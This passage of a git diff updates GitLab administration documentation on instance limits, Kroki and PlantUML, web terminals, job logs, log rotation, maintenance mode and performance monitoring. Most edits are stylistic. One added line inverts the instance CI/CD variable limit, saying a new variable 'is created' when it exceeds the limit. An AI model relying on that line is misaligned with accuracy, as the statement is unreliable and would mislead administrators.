`job_activity_limit_exceeded` error. +fails with a `job_activity_limit_exceeded` error. - GitLab SaaS subscribers have different limits [defined per plan](../user/gitlab_com/index.md#gitlab-cicd), and they affect all projects under that plan. @@ -367,7 +367,7 @@ The total number of subscriptions can be limited per project. This limit is checked each time a new subscription is created. If a new subscription would cause the total number of subscription to exceed the -limit, the subscription will be considered invalid. +limit, the subscription is considered invalid. - GitLab SaaS subscribers have different limits [defined per plan](../user/gitlab_com/index.md#gitlab-cicd), and they affect all projects under that plan. @@ -391,7 +391,7 @@ Set the limit to `0` to disable it. The total number of pipeline schedules can be limited per project. This limit is checked each time a new pipeline schedule is created. If a new pipeline schedule would cause the total number of pipeline schedules to exceed the limit, the -pipeline schedule will not be created. +pipeline schedule is not created. GitLab SaaS subscribers have different limits [defined per plan](../user/gitlab_com/index.md#gitlab-cicd), and they affect all projects under that plan. @@ -413,7 +413,7 @@ Plan.default.actual_limits.update!(ci_pipeline_schedules: 100) The total number of instance level CI/CD variables is limited at the instance level. This limit is checked each time a new instance level variable is created. If a new variable -would cause the total number of variables to exceed the limit, the new variable will not be created. +would cause the total number of variables to exceed the limit, the new variable is created. On self-managed instances this limit is defined for the `default` plan. By default, this limit is set to `25`. @@ -482,10 +482,9 @@ Plan.default.actual_limits.update!(ci_max_artifact_size_junit: 10) > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/321368) in GitLab 13.12. -The total number of registered runners is limited at the group and project -levels. Each time a new runner is registered, GitLab checks these limits. A -runner's registration fails if it exceeds the limit for the scope determined by -the runner registration token. +The total number of registered runners is limited at the group and project levels. Each time a new runner is registered, +GitLab checks these limits against runners that have been active in the last 3 months. +A runner's registration fails if it exceeds the limit for the scope determined by the runner registration token. - GitLab SaaS subscribers have different limits defined per plan, affecting all projects using that plan. - Self-managed GitLab Premium and Ultimate limits are defined by a default plan that affects all projects: @@ -574,7 +573,26 @@ See [Environment Dashboard](../ci/environments/environments_dashboard.md#adding- Pods and Deployments. However, data over 10 MB for a certain environment read from Kubernetes won't be shown. -## Merge request reports +## Merge requests + +### Diff limits + +GitLab has limits around: + +- The patch size for a single file. [This is configurable on self-managed instance](../user/admin_area/diff_limits.md). +- The total size of all the diffs for a merge request. + +An upper and lower limit applies to each of these: + +- The number of changed files. +- The number of changed lines. +- The cumulative size of the changes displayed. + +The lower limits result in additional diffs being collapsed. The higher limits +prevent any more changes from rendering. For more information about these limits, +[read the development documentation](../development/diffs.md#diff-limits). + +### Merge request reports size limit Reports that go over the 20 MB limit won't be loaded. Affected reports: @@ -589,8 +607,8 @@ Reports that go over the 20 MB limit won't be loaded. Affected reports: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8638) in GitLab 13.3. You can set a limit on the content of repository files that are indexed in -Elasticsearch. Any files larger than this limit will not be indexed, and thus -will not be searchable. +Elasticsearch. Any files larger than this limit is neither indexed +nor searchable. Setting a limit helps reduce the memory usage of the indexing processes and the overall index size. This value defaults to `1024 KiB` (1 MiB) as any @@ -598,8 +616,8 @@ text files larger than this likely aren't meant to be read by humans. You must set a limit, as unlimited file sizes aren't supported. Setting this value to be greater than the amount of memory on GitLab Sidekiq nodes causes -the GitLab Sidekiq nodes to run out of memory, as they will pre-allocate this -amount of memory during indexing. +the GitLab Sidekiq nodes to run out of memory, as this amount of memory +is pre-allocated during indexing. ### Maximum field length @@ -607,18 +625,17 @@ amount of memory during indexing. You can set a limit on the content of text fields indexed for Advanced Search. Setting a maximum helps to reduce the load of the indexing processes. If any -text field exceeds this limit then the text will be truncated to this number of -characters and the rest will not be indexed and hence will not be searchable. -This is applicable to all indexed data except repository files that get -indexed, which have a separate limit (see [Maximum file size -indexed](#maximum-file-size-indexed)). - -- On GitLab.com, this is limited to 20,000 characters -- For self-managed installations, this is unlimited by default +text field exceeds this limit, then the text is truncated to this number of +characters. The rest of the text is not indexed, and not searchable. +This applies to all indexed data except repository files that get +indexed, which have a separate limit. For more information, read +[Maximum file size indexed](#maximum-file-size-indexed). -This limit can be configured for self-managed installations when [enabling -Elasticsearch](../integration/elasticsearch.md#enabling-advanced-search). +- On GitLab.com, the field length limit is 20,000 characters. +- For self-managed installations, the field length is unlimited by default. +You can configure this limit for self-managed installations when you +[enable Elasticsearch](../integration/elasticsearch.md#enabling-advanced-search). Set the limit to `0` to disable it. ## Wiki limits @@ -653,7 +670,7 @@ More information can be found in these docs: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31007) in GitLab 12.4. Total number of changes (branches or tags) in a single push to determine whether -individual push events or bulk push event will be created. +individual push events or a bulk push event are created. More information can be found in the [Push event activities limit and bulk push events documentation](../user/admin_area/settings/push_event_activities_limit.md). diff --git a/doc/administration/integration/kroki.md b/doc/administration/integration/kroki.md index 9e9ea62c44e..e36b8a0be9d 100644 --- a/doc/administration/integration/kroki.md +++ b/doc/administration/integration/kroki.md @@ -6,10 +6,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Kroki diagrams **(FREE SELF)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241744) in GitLab 13.7. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241744) in GitLab 13.7. +> - Support for reStructuredText and Textile documents [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/324766) in GitLab 13.12. When [Kroki](https://kroki.io) integration is enabled and configured in -GitLab you can use it to create diagrams in AsciiDoc and Markdown documents. +GitLab you can use it to create diagrams in AsciiDoc, Markdown, reStructuredText, and Textile documents. ## Kroki Server @@ -55,7 +56,7 @@ read the [Kroki installation](https://docs.kroki.io/kroki/setup/install/#_images You need to enable Kroki integration from Settings under Admin Area. To do that, log in with an administrator account and follow these steps: -1. Select the Admin Area (**{admin}**) icon. +1. On the top bar, select **Menu >** **{admin}** **Admin**. 1. Go to **Settings > General**. 1. Expand the **Kroki** section. 1. Select **Enable Kroki** checkbox. @@ -85,13 +86,29 @@ your AsciiDoc or Markdown documentation using delimited blocks: .... ``` +- **reStructuredText** + + ```plaintext + .. code-block:: plantuml + + Bob->Alice : hello + Alice -> Bob : hi + ``` + +- **Textile** + + ```plaintext + bc[plantuml]. Bob->Alice : hello + Alice -> Bob : hi + ``` + The above blocks are converted to an HTML image tag with source pointing to the Kroki instance. If the Kroki server is correctly configured, this should render a nice diagram instead of the block:  -Kroki supports more than a dozen diagram libraries. Here's a few examples: +Kroki supports more than a dozen diagram libraries. Here's a few examples for AsciiDoc: **GraphViz** diff --git a/doc/administration/integration/plantuml.md b/doc/administration/integration/plantuml.md index 834f4047fdd..2b18efde95d 100644 --- a/doc/administration/integration/plantuml.md +++ b/doc/administration/integration/plantuml.md @@ -206,7 +206,7 @@ stop; After configuring your local PlantUML server, you're ready to enable the PlantUML integration: 1. Sign in to GitLab as an [Administrator](../../user/permissions.md) user. -1. In the top menu, click **{admin}** **Admin Area**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. 1. In the left sidebar, go to **Settings > General** and expand the **PlantUML** section. 1. Select the **Enable PlantUML** check box. 1. Set the PlantUML instance as `https://gitlab.example.com/-/plantuml/`, diff --git a/doc/administration/integration/terminal.md b/doc/administration/integration/terminal.md index 644e2d905ae..9302e9a1edc 100644 --- a/doc/administration/integration/terminal.md +++ b/doc/administration/integration/terminal.md @@ -6,8 +6,6 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Web terminals **(FREE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7690) in GitLab 8.15. - With the introduction of the [Kubernetes integration](../../user/project/clusters/index.md), GitLab can store and use credentials for a Kubernetes cluster. GitLab uses these credentials to provide access to @@ -99,9 +97,10 @@ they receive a `Connection failed` message. ## Limiting WebSocket connection time -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/8413) in GitLab 8.17. +By default, terminal sessions do not expire. To limit the terminal session +lifetime in your GitLab instance: -Terminal sessions, by default, do not expire. -You can limit terminal session lifetime in your GitLab instance. To do so, -go to [**Admin Area > Settings > Web terminal**](../../user/admin_area/settings/index.md#general), -and set a `max session time`. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. Select + [**Settings > Web terminal**](../../user/admin_area/settings/index.md#general). +1. Set a `max session time`. diff --git a/doc/administration/issue_closing_pattern.md b/doc/administration/issue_closing_pattern.md index 3b9ec74e6ee..31e9944d9a4 100644 --- a/doc/administration/issue_closing_pattern.md +++ b/doc/administration/issue_closing_pattern.md @@ -20,7 +20,7 @@ in the project's default branch. In order to change the pattern you need to have access to the server that GitLab is installed on. -The default pattern can be located in [`gitlab.yml.example`](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example) +The default pattern can be located in [`gitlab.yml.example`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example) under the "Automatic issue closing" section. NOTE: diff --git a/doc/administration/job_artifacts.md b/doc/administration/job_artifacts.md index 187e98e9b43..99eb1395503 100644 --- a/doc/administration/job_artifacts.md +++ b/doc/administration/job_artifacts.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Testing info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -113,7 +113,7 @@ For source installations the following settings are nested under `artifacts:` an | Setting | Default | Description | |---------------------|---------|-------------| | `enabled` | `false` | Enable or disable object storage. | -| `remote_directory` | | The bucket name where Artifacts are stored. | +| `remote_directory` | | The bucket name where Artifacts are stored. Use the name only, do not include the path. | | `direct_upload` | `false` | Set to `true` to enable direct upload of Artifacts without the need of local shared storage. Option may be removed once we decide to support only single storage for all files. | | `background_upload` | `true` | Set to `false` to disable automatic upload. Option may be removed once upload is direct to S3. | | `proxy_download` | `false` | Set to `true` to enable proxying all files served. Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data. | diff --git a/doc/administration/job_logs.md b/doc/administration/job_logs.md index 93f83311cad..510da68442c 100644 --- a/doc/administration/job_logs.md +++ b/doc/administration/job_logs.md @@ -10,7 +10,7 @@ type: reference > [Renamed from job traces to job logs](https://gitlab.com/gitlab-org/gitlab/-/issues/29121) in GitLab 12.5. Job logs are sent by a runner while it's processing a job. You can see -logs in job pages, pipelines, email notifications, etc. +logs in job pages, pipelines, email notifications, and so on. ## Data flow @@ -20,9 +20,8 @@ In the following table you can see the phases a log goes through: | Phase | State | Condition | Data flow | Stored path | | -------------- | ------------ | ----------------------- | -----------------------------------------| ----------- | | 1: patching | log | When a job is running | Runner => Puma => file storage | `#{ROOT_PATH}/gitlab-ci/builds/#{YYYY_mm}/#{project_id}/#{job_id}.log` | -| 2: overwriting | log | When a job is finished | Runner => Puma => file storage | `#{ROOT_PATH}/gitlab-ci/builds/#{YYYY_mm}/#{project_id}/#{job_id}.log` | -| 3: archiving | archived log | After a job is finished | Sidekiq moves log to artifacts folder | `#{ROOT_PATH}/gitlab-rails/shared/artifacts/#{disk_hash}/#{YYYY_mm_dd}/#{job_id}/#{job_artifact_id}/job.log` | -| 4: uploading | archived log | After a log is archived | Sidekiq moves archived log to [object storage](#uploading-logs-to-object-storage) (if configured) | `#{bucket_name}/#{disk_hash}/#{YYYY_mm_dd}/#{job_id}/#{job_artifact_id}/job.log` | +| 2: archiving | archived log | After a job is finished | Sidekiq moves log to artifacts folder | `#{ROOT_PATH}/gitlab-rails/shared/artifacts/#{disk_hash}/#{YYYY_mm_dd}/#{job_id}/#{job_artifact_id}/job.log` | +| 3: uploading | archived log | After a log is archived | Sidekiq moves archived log to [object storage](#uploading-logs-to-object-storage) (if configured) | `#{bucket_name}/#{disk_hash}/#{YYYY_mm_dd}/#{job_id}/#{job_artifact_id}/job.log` | The `ROOT_PATH` varies per environment. For Omnibus GitLab it would be `/var/opt/gitlab`, and for installations from source @@ -128,6 +127,11 @@ This command permanently deletes the log files and is irreversible. find /var/opt/gitlab/gitlab-rails/shared/artifacts -name "job.log" -mtime +60 -delete ``` +NOTE: +After execution, broken file references can be reported when running +[`sudo gitlab-rake gitlab:artifacts:check`](raketasks/check.md#uploaded-files-integrity). +For more information, see [delete references to missing artifacts](raketasks/check.md#delete-references-to-missing-artifacts). + ## Incremental logging architecture > - [Deployed behind a feature flag](../user/feature_flags.md), disabled by default. diff --git a/doc/administration/libravatar.md b/doc/administration/libravatar.md index 552dc7095e2..b62e2ed4313 100644 --- a/doc/administration/libravatar.md +++ b/doc/administration/libravatar.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Using the Libravatar service with GitLab +# Using the Libravatar service with GitLab **(FREE SELF)** GitLab by default supports the [Gravatar](https://gravatar.com) avatar service. @@ -17,7 +17,7 @@ server. ## Configuration -In the [`gitlab.yml` gravatar section](https://gitlab.com/gitlab-org/gitlab/blob/672bd3902d86b78d730cea809fce312ec49d39d7/config/gitlab.yml.example#L122), set +In the [`gitlab.yml` gravatar section](https://gitlab.com/gitlab-org/gitlab/-/blob/672bd3902d86b78d730cea809fce312ec49d39d7/config/gitlab.yml.example#L122), set the configuration options as follows: ### For HTTP diff --git a/doc/administration/load_balancer.md b/doc/administration/load_balancer.md index ae96989a188..ca66791166e 100644 --- a/doc/administration/load_balancer.md +++ b/doc/administration/load_balancer.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Load Balancer for multi-node GitLab +# Load Balancer for multi-node GitLab **(FREE SELF)** In an multi-node GitLab configuration, you need a load balancer to route traffic to the application servers. The specifics on which load balancer to use diff --git a/doc/administration/logs.md b/doc/administration/logs.md index 289e2cb5362..cf9c2143d8c 100644 --- a/doc/administration/logs.md +++ b/doc/administration/logs.md @@ -21,6 +21,42 @@ including adjusting log retention, log forwarding, switching logs from JSON to plain text logging, and more. - [How to parse and analyze JSON logs](troubleshooting/log_parsing.md). +## Log Rotation + +The logs for a given service may be managed and rotated by: + +- `logrotate` +- `svlogd` (`runit`'s service logging daemon) +- `logrotate` and `svlogd` +- Or not at all + +The table below includes information about what is responsible for managing and rotating logs for +the included services. Logs +[managed by `svlogd`](https://docs.gitlab.com/omnibus/settings/logs.html#runit-logs) +are written to a file called `current`. The `logrotate` service built into GitLab +[manages all logs](https://docs.gitlab.com/omnibus/settings/logs.html#logrotate) +except those captured by `runit`. + +| Log Type | Managed by logrotate | Managed by svlogd/runit | +| ----------------------------------------------- | -------------------- | ----------------------- | +| [Alertmanager Logs](#alertmanager-logs) | N | Y | +| [Crond Logs](#crond-logs) | N | Y | +| [Gitaly](#gitaly-logs) | Y | Y | +| [GitLab Exporter For Omnibus](#gitlab-exporter) | N | Y | +| [GitLab Pages Logs](#pages-logs) | Y | Y | +| GitLab Rails | Y | N | +| [GitLab Shell Logs](#gitlab-shelllog) | Y | N | +| [Grafana Logs](#grafana-logs) | N | Y | +| [LogRotate Logs](#logrotate-logs) | N | Y | +| [Mailroom](#mail_room_jsonlog-default) | Y | Y | +| [NGINX](#nginx-logs) | Y | Y | +| [PostgreSQL Logs](#postgresql-logs) | N | Y | +| [Prometheus Logs](#prometheus-logs) | N | Y | +| [Puma](#puma-logs) | Y | Y | +| [Redis Logs](#redis-logs) | N | Y | +| [Registry Logs](#registry-logs) | N | Y | +| [Workhorse Logs](#workhorse-logs) | Y | Y | + ## `production_json.log` This file lives in `/var/log/gitlab/gitlab-rails/production_json.log` for @@ -275,7 +311,7 @@ installations from source. It contains the JSON version of the logs in `application.log` like the example below: -``` json +```json { "severity":"INFO", "time":"2020-01-14T13:35:15.466Z", @@ -302,7 +338,7 @@ It contains information about [integrations](../user/project/integrations/overvi { "severity":"ERROR", "time":"2018-09-06T14:56:20.439Z", - "service_class":"JiraService", + "service_class":"Integrations::Jira", "project_id":8, "project_path":"h5bp/html5-boilerplate", "message":"Error sending message", @@ -312,7 +348,7 @@ It contains information about [integrations](../user/project/integrations/overvi { "severity":"INFO", "time":"2018-09-06T17:15:16.365Z", - "service_class":"JiraService", + "service_class":"Integrations::Jira", "project_id":3, "project_path":"namespace2/project2", "message":"Successfully posted", @@ -611,41 +647,6 @@ This file lives in `/var/log/gitlab/puma/puma_stderr.log` for Omnibus GitLab packages, or in `/home/git/gitlab/log/puma_stderr.log` for installations from source. -## Unicorn Logs - -Starting with GitLab 13.0, Puma is the default web server used in GitLab -all-in-one package based installations, and GitLab Helm chart deployments. - -### `unicorn_stdout.log` - -This file lives in `/var/log/gitlab/unicorn/unicorn_stdout.log` for -Omnibus GitLab packages or in `/home/git/gitlab/log/unicorn_stdout.log` for -for installations from source. - -### `unicorn_stderr.log` - -This file lives in `/var/log/gitlab/unicorn/unicorn_stderr.log` for -Omnibus GitLab packages or in `/home/git/gitlab/log/unicorn_stderr.log` for -for installations from source. - -These logs contain all information about the state of Unicorn processes at any given time. - -```plaintext -I, [2015-02-13T06:14:46.680381 #9047] INFO -- : Refreshing Gem list -I, [2015-02-13T06:14:56.931002 #9047] INFO -- : listening on addr=127.0.0.1:8080 fd=12 -I, [2015-02-13T06:14:56.931381 #9047] INFO -- : listening on addr=/var/opt/gitlab/gitlab-rails/sockets/gitlab.socket fd=13 -I, [2015-02-13T06:14:56.936638 #9047] INFO -- : master process ready -I, [2015-02-13T06:14:56.946504 #9092] INFO -- : worker=0 spawned pid=9092 -I, [2015-02-13T06:14:56.946943 #9092] INFO -- : worker=0 ready -I, [2015-02-13T06:14:56.947892 #9094] INFO -- : worker=1 spawned pid=9094 -I, [2015-02-13T06:14:56.948181 #9094] INFO -- : worker=1 ready -W, [2015-02-13T07:16:01.312916 #9094] WARN -- : #<Unicorn::HttpServer:0x0000000208f618>: worker (pid: 9094) exceeds memory limit (320626688 bytes > 247066940 bytes) -W, [2015-02-13T07:16:01.313000 #9094] WARN -- : Unicorn::WorkerKiller send SIGQUIT (pid: 9094) alive: 3621 sec (trial 1) -I, [2015-02-13T07:16:01.530733 #9047] INFO -- : reaped #<Process::Status: pid 9094 exit 0> worker=1 -I, [2015-02-13T07:16:01.534501 #13379] INFO -- : worker=1 spawned pid=13379 -I, [2015-02-13T07:16:01.534848 #13379] INFO -- : worker=1 ready -``` - ## `repocheck.log` This file lives in `/var/log/gitlab/gitlab-rails/repocheck.log` for @@ -774,7 +775,7 @@ When enabled, access logs are generated in packages or in `/home/git/gitlab/log/sidekiq_exporter.log` for installations from source. -If Prometheus metrics and the Web Exporter are both enabled, Puma/Unicorn +If Prometheus metrics and the Web Exporter are both enabled, Puma starts a Web server and listen to the defined port (default: `8083`), and access logs are generated: @@ -824,7 +825,7 @@ Line breaks have been added to the following example line for clarity: This file logs the information about exceptions being tracked by `Gitlab::ErrorTracking`, which provides a standard and consistent way of -[processing rescued exceptions](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/development/logging.md#exception-handling). This file is stored in: +[processing rescued exceptions](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/logging.md#exception-handling). This file is stored in: - `/var/log/gitlab/gitlab-rails/exceptions_json.log` for Omnibus GitLab packages. - `/home/git/gitlab/log/exceptions_json.log` for installations from source. diff --git a/doc/administration/maintenance_mode/index.md b/doc/administration/maintenance_mode/index.md index 7fd383eabae..c73a49287db 100644 --- a/doc/administration/maintenance_mode/index.md +++ b/doc/administration/maintenance_mode/index.md @@ -35,8 +35,8 @@ There are three ways to enable Maintenance Mode as an administrator: - [**Rails console**](../operations/rails_console.md#starting-a-rails-console-session): ```ruby - ::Gitlab::CurrentSettings.update_attributes!(maintenance_mode: true) - ::Gitlab::CurrentSettings.update_attributes!(maintenance_mode_message: "New message") + ::Gitlab::CurrentSettings.update!(maintenance_mode: true) + ::Gitlab::CurrentSettings.update!(maintenance_mode_message: "New message") ``` ## Disable Maintenance Mode @@ -143,25 +143,25 @@ is turned off. ### Deployments -Deployments won't go through because pipelines will be unfinished. +Deployments don't go through because pipelines are unfinished. It is recommended to disable auto deploys during Maintenance Mode, and enable them once it is disabled. #### Terraform integration -Terraform integration depends on running CI pipelines, hence it will be blocked. +Terraform integration depends on running CI pipelines, hence it is blocked. ### Container Registry -`docker push` will fail with this error: `denied: requested access to the resource is denied`, but `docker pull` will work. +`docker push` fails with this error: `denied: requested access to the resource is denied`, but `docker pull` works. ### Package Registry -Package Registry will allow you to install but not publish packages. +Package Registry allows you to install but not publish packages. ### Background jobs -Background jobs (cron jobs, Sidekiq) will continue running as is, because background jobs are not automatically disabled. +Background jobs (cron jobs, Sidekiq) continue running as is, because background jobs are not automatically disabled. [During a planned Geo failover](../geo/disaster_recovery/planned_failover.md#prevent-updates-to-the-primary-node), it is recommended that you disable all cron jobs except for those related to Geo. @@ -170,34 +170,34 @@ You can monitor queues and disable jobs in **Admin Area > Monitoring > Backgroun ### Incident management -[Incident management](../../operations/incident_management/index.md) functions will be limited. The creation of [alerts](../../operations/incident_management/alerts.md) and [incidents](../../operations/incident_management/incidents.md#incident-creation) will be paused entirely. Notifications and paging on alerts and incidents will therefore be disabled. +[Incident management](../../operations/incident_management/index.md) functions are limited. The creation of [alerts](../../operations/incident_management/alerts.md) and [incidents](../../operations/incident_management/incidents.md#incident-creation) are paused entirely. Notifications and paging on alerts and incidents are therefore disabled. ### Feature flags - [Development feature flags](../../development/feature_flags/index.md) cannot be turned on or off through the API, but can be toggled through the Rails console. -- [The feature flag service](../../operations/feature_flags.md) will respond to feature flag checks but feature flags cannot be toggled +- [The feature flag service](../../operations/feature_flags.md) responds to feature flag checks but feature flags cannot be toggled ### Geo secondaries -When primary is in Maintenance Mode, secondary will also automatically go into Maintenance Mode. +When primary is in Maintenance Mode, secondary also automatically goes into Maintenance Mode. It is important that you do not disable replication before enabling Maintenance Mode. -Replication and verification will continue to work but proxied Git pushes to primary will not work. +Replication and verification continues to work but proxied Git pushes to primary do not work. ### Secure features -Features that depend on creating issues or creating or approving Merge Requests, will not work. +Features that depend on creating issues or creating or approving Merge Requests, do not work. -Exporting a vulnerability list from a Vulnerability Report page will not work. +Exporting a vulnerability list from a Vulnerability Report page does not work. -Changing the status on a finding or vulnerability object will not work, even though no error is shown in the UI. +Changing the status on a finding or vulnerability object does not work, even though no error is shown in the UI. SAST and Secret Detection cannot be initiated because they depend on passing CI jobs to create artifacts. ## An example use case: a planned failover -In the use case of [a planned failover](../geo/disaster_recovery/planned_failover.md), a few writes in the primary database are acceptable, since they will be replicated quickly and are not significant in number. +In the use case of [a planned failover](../geo/disaster_recovery/planned_failover.md), a few writes in the primary database are acceptable, since they are replicated quickly and are not significant in number. For the same reason we don't automatically block background jobs when Maintenance Mode is enabled. diff --git a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md index 8d3c8555660..b1ec74c2f40 100644 --- a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md +++ b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md @@ -20,7 +20,8 @@ GitLab instance. All administrators at the time of creation of the project and group are added as maintainers of the group and project, and as an administrator, you can -add new members to the group to give them maintainer access to the project. +add new members to the group to give them the [Maintainer role](../../../user/permissions.md) for +the project. This project is used to self monitor your GitLab instance. The metrics dashboard of the project shows some basic resource usage charts, such as CPU and memory usage @@ -32,9 +33,12 @@ metrics exposed by the [GitLab exporter](../prometheus/gitlab_metrics.md#metrics ## Creating the self monitoring project -1. Go to **Admin Area > Settings > Metrics and profiling** and expand the **Self monitoring** section. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > Metrics and profiling** and expand **Self monitoring**. 1. Toggle the **Create Project** button on. -1. Once your GitLab instance creates the project, GitLab displays a link to the project in the text above the **Create Project** toggle. You can also find it under **Projects > Your projects**. +1. After your GitLab instance creates the project, GitLab displays a link to the + project in the text above the **Create Project** toggle. You can also find it + from the top bar by selecting **Menu > Project**, then selecting **Your projects**. ## Deleting the self monitoring project @@ -42,7 +46,8 @@ WARNING: Deleting the self monitoring project removes any changes made to the project. If you create the project again, it's created in its default state. -1. Go to **Admin Area > Settings > Metrics and profiling** and expand the **Self monitoring** section. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, go to **Settings > Metrics and profiling** and expand **Self monitoring**. 1. Toggle the **Create Project** button off. 1. In the confirmation dialog that opens, click **Delete project**. It can take a few seconds for it to be deleted. diff --git a/doc/administration/monitoring/performance/gitlab_configuration.md b/doc/administration/monitoring/performance/gitlab_configuration.md index 6e7557854ad..e8abe2708c7 100644 --- a/doc/administration/monitoring/performance/gitlab_configuration.md +++ b/doc/administration/monitoring/performance/gitlab_configuration.md @@ -9,7 +9,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w GitLab Performance Monitoring is disabled by default. To enable it and change any of its settings: -1. Go to **Admin Area > Settings > Metrics and profiling** +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > Metrics and profiling** (`/admin/application_settings/metrics_and_profiling`). 1. Add the necessary configuration changes. 1. Restart all GitLab for the changes to take effect: diff --git a/doc/administration/monitoring/performance/grafana_configuration.md b/doc/administration/monitoring/performance/grafana_configuration.md index ac322f3e1ef..3b82b0e4bb8 100644 --- a/doc/administration/monitoring/performance/grafana_configuration.md +++ b/doc/administration/monitoring/performance/grafana_configuration.md @@ -62,8 +62,9 @@ repository. After setting up Grafana, you can enable a link to access it easily from the GitLab sidebar: -1. Go to the **Admin Area > Settings > Metrics and profiling**. -1. Expand **Metrics - Grafana**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > Metrics and profiling** + and expand **Metrics - Grafana**. 1. Check the **Enable access to Grafana** checkbox. 1. Configure the **Grafana URL**: - *If Grafana is enabled through Omnibus GitLab and on the same server,* @@ -71,7 +72,7 @@ GitLab sidebar: - *Otherwise,* enter the full URL of the Grafana instance. 1. Click **Save changes**. -GitLab displays your link in the **Admin Area > Monitoring > Metrics Dashboard**. +GitLab displays your link in the **Menu > Admin > Monitoring > Metrics Dashboard**. ## Security Update diff --git a/doc/administration/monitoring/performance/index.md b/doc/administration/monitoring/performance/index.md index 15c54a36f6c..f3db6ac9f03 100644 --- a/doc/administration/monitoring/performance/index.md +++ b/doc/administration/monitoring/performance/index.md @@ -69,6 +69,5 @@ The following environment variables are recognized: - `DATABASE_SAMPLER_INTERVAL_SECONDS` - `ACTION_CABLE_SAMPLER_INTERVAL_SECONDS` - `PUMA_SAMPLER_INTERVAL_SECONDS` -- `UNICORN_SAMPLER_INTERVAL_SECONDS` - `THREADS_SAMPLER_INTERVAL_SECONDS` - `GLOBAL_SEARCH_SAMPLER_INTERVAL_SECONDS` diff --git a/doc/administration/monitoring/performance/performance_bar.md b/doc/administration/monitoring/performance/performance_bar.md index dd43c7d6fbb..1125547f13f 100644 --- a/doc/administration/monitoring/performance/performance_bar.md +++ b/doc/administration/monitoring/performance/performance_bar.md @@ -6,7 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Performance Bar **(FREE SELF)** -> The **Stats** field [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/271551) in GitLab SaaS 13.9. +> The **Stats** field [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/271551) in GitLab 13.9. +> The **Memory** field [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330736) in GitLab 14.0. You can display the GitLab Performance Bar to see statistics for the performance of a page. When activated, it looks as follows: @@ -40,9 +41,11 @@ From left to right, it displays: Time until something was visible to the user. - [**DomContentLoaded**](https://developers.google.com/web/fundamentals/performance/critical-rendering-path/measure-crp) Event. - **Total number of requests** the page loaded. -- **Trace**: If Jaeger is integrated, **Trace** links to a Jaeger tracing page +- **Memory**: the amount of memory consumed and objects allocated during the selected request. + Select it to display a window with more details. +- **Trace**: if Jaeger is integrated, **Trace** links to a Jaeger tracing page with the current request's `correlation_id` included. -- **+**: A link to add a request's details to the performance bar. The request +- **+**: a link to add a request's details to the performance bar. The request can be added by its full URL (authenticated as the current user), or by the value of its `X-Request-Id` header. - **Download**: a link to download the raw JSON used to generate the Performance Bar reports. @@ -52,6 +55,11 @@ From left to right, it displays: - **Stats** (optional): if the `GITLAB_PERFORMANCE_BAR_STATS_URL` environment variable is set, this URL is displayed in the bar. In GitLab 13.9 and later, used only in GitLab SaaS. +NOTE: +Not all indicators are available in all environments. For instance, the memory view +requires to run Ruby with [specific patches](https://gitlab.com/gitlab-org/gitlab-build-images/-/blob/master/patches/ruby/2.7.2/thread-memory-allocations-2.7.patch) applied. +When running GitLab locally using the GDK this is typically not the case and the memory view cannot be used. + ## Request warnings Requests that exceed predefined limits display a warning **{warning}** icon and @@ -68,12 +76,13 @@ appears next to requests with warnings. ## Enable the Performance Bar via the Admin Area -The GitLab Performance Bar is disabled by default. To enable it for a given group: +The GitLab Performance Bar is disabled by default for non-administrators. To enable it +for a given group: 1. Sign in as a user with Administrator [permissions](../../../user/permissions.md). -1. In the menu bar, click **Admin Area**. -1. Go to **Settings > Metrics and profiling** - (`admin/application_settings/metrics_and_profiling`), and expand the section +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > Metrics and profiling** + (`admin/application_settings/metrics_and_profiling`), and expand **Profiling - Performance bar**. 1. Click **Enable access to the Performance Bar**. 1. In the **Allowed group** field, provide the full path of the group allowed diff --git a/doc/administration/monitoring/performance/request_profiling.md b/doc/administration/monitoring/performance/request_profiling.md index 15a58456e05..ebdca8d3960 100644 --- a/doc/administration/monitoring/performance/request_profiling.md +++ b/doc/administration/monitoring/performance/request_profiling.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w To profile a request: -1. Sign in to GitLab as a user with Administrator or Maintainer [permissions](../../../user/permissions.md). +1. Sign in to GitLab as an Administrator or a user with the [Maintainer role](../../../user/permissions.md). 1. In the navigation bar, click 